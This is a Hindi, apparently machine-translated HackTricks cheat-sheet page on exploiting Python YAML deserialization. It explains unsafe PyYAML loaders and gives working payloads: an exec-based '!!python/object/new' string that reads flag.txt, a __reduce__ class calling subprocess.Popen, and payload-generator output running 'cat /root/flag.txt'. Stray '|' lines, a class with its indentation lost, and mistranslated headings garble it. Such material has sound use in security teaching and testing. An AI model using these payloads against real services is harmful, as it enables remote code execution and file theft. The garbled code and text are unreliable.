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<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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दूसरे तरीके HackTricks का समर्थन करने के लिए:
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* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
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* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **Twitter** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
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</details>
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# Yaml **डिसीरियलाइजेशन**
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**Yaml** python पुस्तकालय भी **पायथन ऑब्जेक्ट्स को सिर्फ रॉ डेटा** ही नहीं, **सिरीयलाइज़** करने में सक्षम है:
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```
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print(yaml.dump(str("lol")))
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lol
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|
...
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print(yaml.dump(tuple("lol")))
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!!python/tuple
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- l
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|
- o
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|
- l
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print(yaml.dump(range(1,10)))
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!!python/object/apply:builtins.range
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- 1
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- 10
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|
- 1
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```
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जांचें कि **tuple** एक कच्चा प्रकार का डेटा नहीं है और इसलिए इसे **सिरीकरण** किया गया था। और यही हुआ **range** के साथ भी (builtins से लिया गया)।
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 (1).png>)
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**safe\_load()** या **safe\_load\_all()** SafeLoader का उपयोग करते हैं और **क्लास ऑब्जेक्ट डेसीरियलाइज़ेशन का समर्थन नहीं करते**। क्लास ऑब्जेक्ट डेसीरियलाइज़ेशन उदाहरण:
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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data = b'!!python/object/apply:builtins.range [1, 10, 1]'
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print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
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|
print(yaml.load(data, Loader=Loader)) #range(1, 10)
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|
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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|
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
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|
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
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|
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
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|
print(yaml.unsafe_load(data)) #range(1, 10)
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|
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
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#The other ways to load data will through an error as they won't even attempt to
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#deserialize the python object
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```
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पिछला कोड **unsafe\_load** का उपयोग सीरीयलाइज्ड पायथन क्लास लोड करने के लिए किया गया था। यह इसलिए है क्योंकि **संस्करण >= 5.1** में, यह किसी भी सीरीयलाइज्ड पायथन क्लास या क्लास एट्रिब्यूट को **डीसीरियलाइज़** करने की अनुमति नहीं देता है, Loader not specified in load() or Loader=SafeLoader।
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## मूल अभिशाप
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**नींद को चालू करने** के लिए एक उदाहरण:
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```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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data = b'!!python/object/apply:time.sleep [2]'
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print(yaml.load(data, Loader=UnsafeLoader)) #Executed
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|
print(yaml.load(data, Loader=Loader)) #Executed
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|
print(yaml.load_all(data))
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|
print(yaml.load_all(data, Loader=Loader))
|
|
print(yaml.load_all(data, Loader=UnsafeLoader))
|
|
print(yaml.load_all(data, Loader=FullLoader))
|
|
print(yaml.unsafe_load(data)) #Executed
|
|
print(yaml.full_load_all(data))
|
|
print(yaml.unsafe_load_all(data))
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|
```
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## जोखिमपूर्ण .load("\<content>") लोडर के बिना
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पुराने संस्करणों में pyyaml जोखिमपूर्ण थे अगर आप कुछ लोड करते समय लोडर को स्पष्ट नहीं किया: `yaml.load(data)`
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आप यहाँ [**वुलनरेबिलिटी का विवरण पा सकते हैं**](https://hackmd.io/@defund/HJZajCVlP)**.** उस पृष्ठ में प्रस्तावित **उत्पीड़न** है:
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```yaml
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!!python/object/new:str
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state: !!python/tuple
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- 'print(getattr(open("flag\x2etxt"), "read")())'
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- !!python/object/new:Warning
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state:
|
|
update: !!python/name:exec
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|
```
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या आप इस **वन-लाइनर का उपयोग भी कर सकते हैं जो @ishaack द्वारा प्रदान किया गया है**:
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```yaml
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|
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
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|
```
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नोट करें कि **हाल के संस्करणों** में आप **अब `.load()` को नहीं कह सकते** हैं **बिना `Loader`** और **`FullLoader`** इस हमले के लिए **अब असंरक्षित** नहीं है।
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# RCE
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कस्टम payloads को बनाने के लिए Python YAML modules जैसे **PyYAML** या **ruamel.yaml** का उपयोग किया जा सकता है। ये payloads उन systems में दोषों का शोषण कर सकते हैं जो अविश्वसनीय इनपुट को उचित सेनिटाइज़ेशन के बिना डीसीरियलाइज़ करते हैं।
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|
```python
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import yaml
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from yaml import UnsafeLoader, FullLoader, Loader
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import subprocess
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class Payload(object):
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def __reduce__(self):
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return (subprocess.Popen,('ls',))
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deserialized_data = yaml.dump(Payload()) # serializing data
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print(deserialized_data)
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#!!python/object/apply:subprocess.Popen
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#- ls
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print(yaml.load(deserialized_data, Loader=UnsafeLoader))
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print(yaml.load(deserialized_data, Loader=Loader))
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print(yaml.unsafe_load(deserialized_data))
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|
```
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## उपकरण पेयलोड बनाने के लिए
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यह उपकरण [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) का उपयोग किया जा सकता है ताकि **Pickle, PyYAML, jsonpickle और ruamel.yaml** का दुरुपयोग करने के लिए पायथन डिसीरियलाइज़ेशन पेयलोड उत्पन्न किया जा सके:
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```bash
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python3 peas.py
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|
Enter RCE command :cat /root/flag.txt
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|
Enter operating system of target [linux/windows] . Default is linux :linux
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|
Want to base64 encode payload ? [N/y] :
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|
Enter File location and name to save :/tmp/example
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|
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
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|
Done Saving file !!!!
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|
cat /tmp/example_jspick
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|
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
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|
|
|
cat /tmp/example_pick | base64 -w0
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|
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
|
|
|
|
cat /tmp/example_yaml
|
|
!!python/object/apply:subprocess.Popen
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|
- !!python/tuple
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|
- cat
|
|
- /root/flag.txt
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|
```
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## संदर्भ
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|
* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
|
|
* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
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<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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HackTricks का समर्थन करने के अन्य तरीके:
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* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) की जांच करें!
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* प्राप्त करें [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com)
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* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
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* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
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* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके।
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